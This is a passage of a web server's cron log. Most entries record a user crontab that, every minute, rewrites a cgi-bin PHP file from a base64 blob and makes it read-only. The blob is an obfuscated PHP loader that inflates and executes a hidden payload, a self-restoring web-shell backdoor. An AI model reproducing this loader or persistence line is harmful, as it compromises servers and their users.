OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 17:14:01 server CROND[1652]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 17:15:01 server CROND[1751]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 17:15:01 server CROND[1753]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  7 17:15:01 server CROND[1752]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  7 17:16:01 server CROND[1866]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 17:17:01 server CROND[1944]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 17:18:01 server CROND[2019]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 17:19:01 server CROND[2168]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 17:20:01 server CROND[2280]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr  7 17:20:01 server CROND[2281]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr  7 17:20:01 server CROND[2282]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 17:20:01 server CROND[2283]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  7 17:20:01 server CROND[2284]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  7 17:21:01 server CROND[2404]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 17:22:01 server CROND[2475]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 17:23:01 server CROND[2553]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 17:24:01 server CROND[2631]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 17:25:01 server CROND[2723]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  7 17:25:01 server CROND[2724]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  7 17:25:01 server CROND[2728]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 17:26:01 server CROND[2926]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 17:27:01 server CROND[2991]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMR